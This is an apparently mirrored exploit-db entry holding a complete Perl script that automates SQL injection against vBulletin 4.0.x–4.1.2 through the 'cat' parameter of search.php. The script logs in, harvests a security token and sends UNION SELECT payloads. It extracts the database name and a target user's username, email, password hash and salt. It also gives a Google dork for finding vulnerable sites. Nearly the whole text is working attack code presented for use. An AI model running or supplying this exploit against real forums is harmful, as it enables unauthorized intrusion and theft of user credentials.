vBulletin 4.0.x < 4.1.2 - 'search.php?cat' SQL Injection

  • 作者： D35m0nd142
    日期： 2014-09-03
  • 类别：
    平台：
  • 来源：https://www.exploit-db.com/exploits/34526/
  • # vBulletin 4.0.x => 4.1.2 AUTOMATIC SQL Injection exploit
# Author: D35m0nd142, <d35m0nd142@gmail.com>
# Google Dork: inurl:search.php?search_type=1
# Date: 02/09/2014
# Vendor Homepage: http://www.vbulletin.com/
# Tested on: vBulletin 4.1.2
# Usage: perl exploit.pl <http://target> <valid username> <valid passwd> <existent group> <userid to hack>
# Tutorial video: https://www.youtube.com/watch?v=_jec3nkoYFc
# Vulnerability discovered by: D4rkB1t

#!/usr/bin/env perl
use LWP::UserAgent;
use HTTP::Cookies;

$ua = LWP::UserAgent->new();
$ua->agent("Mozilla/5.0 (Macintosh; Intel Mac OS X 10.9; rv:31.0) Gecko/20100101 Firefox/31.0");
$ua->cookie_jar({});
$username = "username) from user where userid=$ARGV[4]#";
$email = "email) from user where userid=$ARGV[4]#";
$password = "password) from user where userid=$ARGV[4]#";
$salt = "salt) from user where userid=$ARGV[4]#";
@tofinds = ('database())#'); push(@tofinds,$username); push(@tofinds,$email); push(@tofinds,$password); push(@tofinds,$salt);

sub request
{
$req = HTTP::Request->new(GET => $ARGV[0]);
my $res1 = $ua->request($req);
open(FILE01, "> vbloginout.txt"); print FILE01 $res1->content; close(FILE01);
my $token = dumping("vbloginout.txt","token");
if($token eq '' || $token eq 'guest')
{
print "SECURITYTOKEN not found!\n";
$token = "1409782759-e58c864fcc4e1ec7e23d31439af4b8cc181b789f"; # HERE
print "Attempting using $token as token.\n";
}
else
{
print "SECURITYTOKEN FOUND: $token\n";
}

print "Sending exploit...\n\n";
sleep(1);
my $req = HTTP::Request->new(POST => $ARGV[0].'/search.php?search_type=1');
$req->content_type('application/x-www-form-urlencoded');

foreach $tofind (@tofinds)
{
$post = "query=$ARGV[3]&titleonly=0&dosearch=Search+Now&memberless=0&memberlimit=&discussionless=0&discussionlimit=&messageless=0&messagelimit=&pictureless=0&picturelimit=&sortby=dateline&order=descending&group_filter_date_lteq_month=0&group_filter_date_lteq_day=1&group_filter_date_lteq_year=&group_filter_date_gteq_month=0&group_filter_date_gteq_day=1&group_filter_date_gteq_year=&saveprefs=1&s=&securitytoken=$token&dofilter=1&do=process&searchfromtype=vBForum%3ASocialGroup&contenttypeid=7&cat[0]=1) UNION SELECT concat(0x3a,0x3a,0x3a,$tofind";
$req->content($post);
my $res = $ua->request($req);
open(FILE0, "> vbloc.txt"); print FILE0 $res->headers()->as_string; close(FILE0);
my $location = dumping("vbloc.txt","loc");

if($location !~ /$ARGV[0]/)
{
banner();
break;
}

my $req1 = HTTP::Request->new(GET => $location);
$req1->content_type('application/x-www-form-urlencoded');
my $res1 = $ua->request($req1);
open(FILE,"> vbout.txt");
print FILE $res1->content;
close(FILE);
printout($tofind);
dumping("vbout.txt","sql");
print "\n";
}
print "\n";
print "Do you want to run the second exploitation way? (y/n) -> ";
$want = <STDIN>;
if($want =~ /y/)
{
second_request($token);
}
}

sub second_request
{
my ($token) = @_ ;
print "Attempting using the second exploitation way..\n\n";
sleep(2);
my $req = HTTP::Request->new(POST => $ARGV[0].'/search.php');
$req->content_type('application/x-www-form-urlencoded');

foreach $tofind (@tofinds)
{
$post = "type%5B%5D=7&query=$ARGV[3]&titleonly=0&searchuser=&exactname=1&tag=&dosearch=Search+Now&searchdate=0&beforeafter=&sortby=relevance&order=descending&saveprefs=1&s=&securitytoken=$token&do=process&searchthreadid=&cat[0]=1) UNION SELECT concat(0x3a,0x3a,0x3a,$tofind";
$req->content($post);
my $res = $ua->request($req);
open(FILE0, "> vbloc.txt"); print FILE0 $res->headers()->as_string; close(FILE0);
my $location = dumping("vbloc.txt","loc");

if($location !~ /$ARGV[0]/)
{
banner();
exit(1);
}

my $req1 = HTTP::Request->new(GET => $location);
$req1->content_type('application/x-www-form-urlencoded');
my $res1 = $ua->request($req1);
open(FILE,"> vbout.txt");
print FILE $res1->content;
close(FILE);
printout($tofind);
dumping("vbout.txt","sql");
print "\n";
}
print "\n";
}

sub banner
{
print "[-] Exploit not successful!\n";
if(token eq "1409563107-55b86c8f60ad36a41dedff21b06bdc8c9d949303")
{
print "[i] Try to log in and log out from other any other sessions and run the exploit again.\n\n";
}
}

sub printout
{
my ($tofind) = @_ ;
if($tofind =~ /username/)
{
print "[+] User($ARGV[4]) Username: ";
}
elsif($tofind =~ /password/)
{
print "[+] User($ARGV[4]) Password: ";
}
elsif($tofind =~ /database/)
{
print "[+] Database Name: ";
}
elsif($tofind =~ /email/)
{
print "[+] User($ARGV[4]) Email: ";
}
elsif($tofind =~ /salt/)
{
print "[+] User($ARGV[4]) Salt: ";
}
}

sub dumping
{
my ($filename, $par) = @_ ;
open(MYFILE,"< ", $filename);
my @words;
while(<MYFILE>)
{
chomp;
@words = split(' ');

if($par eq "token")
{
my $ctrl = "n";
foreach my $word (@words)
{
if($word =~ /SECURITYTOKEN/)
{
$ctrl = "y";
}
if($ctrl eq "y" and $word !~ /=/ and $word !~ /SECURITYTOKEN/)
{
$word =~ tr/;//d; $word =~ tr/\"//d;
return $word;
break;
}
}
}

elsif($par eq "sql")
{
foreach my $word (@words)
{
if($word =~ /:::/)
{
$word =~ tr/::://d;
print "$word";
}
}
}

else
{
my $ctrl2 = "n";
foreach my $word (@words)
{
if($word =~ /Location:/)
{
$ctrl2 = "y";
}
if($ctrl2 eq "y" and $word !~ /Location:/)
{
return $word;
}
}
}
}
close(MYFILE);
}

sub login(@)
{
my $username = shift;
my $password = shift;
print "\nLogging in...\n";
sleep(1);
my $req = HTTP::Request->new(POST => $ARGV[0].'/login.php?do=login');
$req->content_type('application/x-www-form-urlencoded');
$req->content("vb_login_username=$username&vb_login_password=$password&s=&securitytoken=1409514185-74f04ec0932a6f070268bf287797b5dc0db05530&do=login&vb_login_md5password=&vb_login_md5password_utf=");
$ua->cookie_jar({});
my $res = $ua->request($req);
request();
}

if($ARGV[0] eq '' || $ARGV[1] eq '' || $ARGV[2] eq '' || $ARGV[3] eq '' || $ARGV[4] eq '')
{
print "\n<! vBulletin 4.0.x => 4.1.2 Automatic SQL Injection exploit !>\n";
print "Author: D35m0nd142\n\n";
print "Usage: perl exploit.pl <<http://target> <valid username> <valid passwd> <existent group> <userid to hack>\n";
print "Example: perl exploit.pl http://site.com myusername mypassword Administrators 1\n\n";
exit(1);
}

print "\n<! vBulletin 4.0.x => 4.1.2 Automatic SQL Injection exploit !>\n";
print "Author: D35m0nd142\n";
sleep(1);
login($ARGV[1],$ARGV[2]);

@files = ('vbloginout.txt','vbout.txt','vbloc.txt');
foreach $file (@files)
{
unlink $file;
}